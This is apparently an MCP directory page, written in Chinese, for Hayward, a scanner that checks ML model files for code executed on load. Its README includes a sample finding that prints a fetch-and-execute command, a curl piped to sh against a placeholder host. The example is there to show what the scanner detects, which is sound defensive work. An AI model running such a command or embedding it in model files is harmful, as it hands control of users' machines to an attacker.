mcpField
H
hayward

hayward

本地服务
github.com/hedgerow-dev安全1今天更新

关于 hayward

Hayward 扫描机器学习模型文件,查找加载时可能执行的代码,适用于处理检查点的团队和开发者。它还提供加载保护,可在 CI、本地、浏览器或 MCP 服务中运行。

主要功能

  1. 01扫描模型与仓库配置格式
  2. 02检测加载时的不安全调用
  3. 03报告扫描覆盖范围限制
  4. 04保护受支持的 Python 加载函数
  5. 05支持命令行、GUI、浏览器和 CI
  6. 06JSON 输出与可设阈值

适用场景

  1. 01加载前检查公开来源的模型检查点
  2. 02在 CI 构建中加入模型文件检查
  3. 03阻止 Python 模型加载时的不安全调用
  4. 04让编码 Agent 加载前检查模型

MCP 相关

Hayward 可作为 MCP 服务运行,由编码 Agent 在加载模型文件前调用并扫描。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"hedgerow-dev-hayward": {
"command": "uvx",
"args": [
"hayward"
]
}
}
}
启动命令uvx hayward

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
pypihayward1.4.1

工具

1

收录的工具列表 · 更新于 6 天前

参数类型必填说明
pathstring是
fail_onstring否

详细介绍

Hayward

机器学习模型文件安全扫描器。 在加载检查点之前,先确认它是否会在你的机器上运行代码。

License MIT Python 3.10+ Rules 47 Dependencies 1 No outbound calls

pip install hayward
hayward scan ./models
CRITICAL MFV-PICKLE-001  checkpoints/model.pt
         Pickle file references unsafe callable(s) that grant code/command
         execution on load: posix.system('curl http://example.invalid | sh').

1 finding(s): 1 critical

或者在浏览器中试用。 这是同一个扫描器,已编译为 WebAssembly。将检查点拖到页面上,它会始终留在你的机器上。

守护加载过程

扫描会在加载文件前检查它。守护则会在加载过程中检查:

import hayward.guard  # pickle.load, joblib.load, numpy.load and torch.load now refuse dangerous calls

每次加载都会先进行扫描,然后在文件请求执行的每个函数运行之前进行检查。默认模式提高了安全门槛,但并非沙箱。对于不可信的文件,hayward.guard.install(strict=True) 会拒绝任何不在已知安全列表中的内容。使用指南列出了它无法覆盖的内容。

让你的编码 Agent 先行检查

pip install "hayward[mcp]"
claude mcp add hayward -- hayward mcp

Claude Code 通过 MCP 调用 Hayward,拒绝带有陷阱的检查点,并放行正常检查点

问题所在

torch.load、joblib.load 和 numpy.load(allow_pickle=True) 会执行从所读取文件中加载的代码。这不是 bug,而是 pickle 的工作方式。

文件名是 pytorch_model.bin,而这句话里的 .bin 可不是摆设。它是一个程序。加载它,就是在你的笔记本电脑上,以你的身份,使用你的凭据运行它。

适用对象

从公共模型站点获取检查点、希望在 CI 流水线、笔记本电脑上,或在不允许任何内容离开网络的受监管环境中运行检查的团队。

与众不同之处

它不会乱报警。 总是误报的安全关卡最终会被关闭,因此它的设计目标是清晰报告真实模型,并将 INFO 级别留给无法验证的内容。我们引用的任何数据都是自行测量且无法独立复现的;准确性说明了它能支持和不能支持的结论,测试框架则会用你自己的语料运行扫描。

它会告诉你何时无法检查。 无法完整遍历的容器,或无法验证的内容,会明确报告覆盖范围问题,而不是给出安全结论;解析错误也不会抹去此前已发现的内容。攻击者会利用蓄意制造的解析错误隐藏载荷,因此即使载荷后面跟着垃圾内容,扫描结果仍会是严重风险。需要坦诚说明的一项限制是:从第一个字节起就完全不符合任何模型格式的内容,不会报告任何结果。

它能发现从未有人列出的危险组件。 对未知可调用对象的判定依据是传入的参数,而不是它的名称。URL、shell 命令、主机和端口,这些才是超越拒绝列表的通用判定依据。

它可在任何地方安装。 仅需一个依赖,不依赖模型框架,没有原生扩展,也不需要联网。支持 Python 3.10 及更高版本。

它适合构建流程。 提供有文档说明的退出码、JSON 输出,以及可自行设置的阈值。

扫描内容

格式
Pickle 及所有封装它的格式PyTorch(zip、legacy 和 .ptl mobile)、joblib、NumPy .npy / .npz、TorchServe .mar、NVIDIA NeMo、skops
张量容器SafeTensors、GGUF、TFLite
图格式ONNX、TensorFlow SavedModel、Keras(H5 和 .keras)、PMML
仓库配置HuggingFace config.json / tokenizer_config.json(auto_map、trust_remote_code 和 Jinja chat_template 注入)

总计 26 种扩展名。格式依据魔数识别,因此,无论载荷被重命名为 weights.safetensors、weights.dat,还是完全没有扩展名,都不会仅凭文件名逃过扫描。目录扫描仍会先按扩展名查找候选文件,因为嗅探整个目录树意味着要读取其中的文件:覆盖范围说明了这一限制。

运行方式

hayward scan ./models                          # command line
hayward scan ./models -f html -o report.html   # shareable report
hayward-gui                                    # desktop window
from hayward import ModelFileScanner
findings = ModelFileScanner().scan_directory(Path("models"))

也可以将其用作加载防护、pre-commit 钩子,或供编码 Agent 在加载模型前调用的 MCP 服务。

还可以在 CI 中将其用作 GitHub Action,在构建失败时上传 SARIF 到代码扫描:

- uses: hedgerow-dev/hayward@v1
  with:
    path: models
    fail-on: high

请参阅 GitHub Action 指南。

扫描结果干净意味着什么

这表示 Hayward 已读取文件,且未发现其中有危险内容。并不表示模型是安全的。它只是烟雾报警器,而不是整栋建筑的勘察报告;覆盖范围页面会说明它无法进入哪些房间。

文档

  • 用法:CLI 参考、退出代码、CI、pre-commit、GUI、MCP 服务、Python API、加载防护
  • 规则:全部 47 条规则及其严重级别和 CWE 映射
  • 覆盖范围:无法读取文件时的处理方式,以及这为何会成为一项发现
  • 工作原理:如何在不执行的情况下读取 pickle,以及如何根据参数判断未知可调用对象
  • GitHub Action:在 CI 中运行扫描并将 SARIF 上传到代码扫描
  • 可复现构建:Docker 镜像和浏览器演示构建流水线
  • 准确性:实测结果、注意事项,以及它会在哪些方面失准

贡献

最有价值的贡献是提供一个 Hayward 判断错误的文件。误报和漏报同样重要。没人信任的扫描器就没人会运行;如此一来,它也就形同虚设。

git clone https://github.com/hedgerow-dev/hayward
cd hayward && pip install -e ".[dev]" && pytest

安全

请将 Hayward 中发现的漏洞报告至 [email protected],而不要提交 issue。会导致扫描器崩溃的输入也算漏洞:在 CI 门禁中,崩溃和扫描从未运行无法区分。

许可协议

MIT。请参阅 LICENSE 和 NOTICE。

hayward 曾是教区官员,负责巡视树篱、检查缺口,并扣押所有穿过缺口的东西。

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。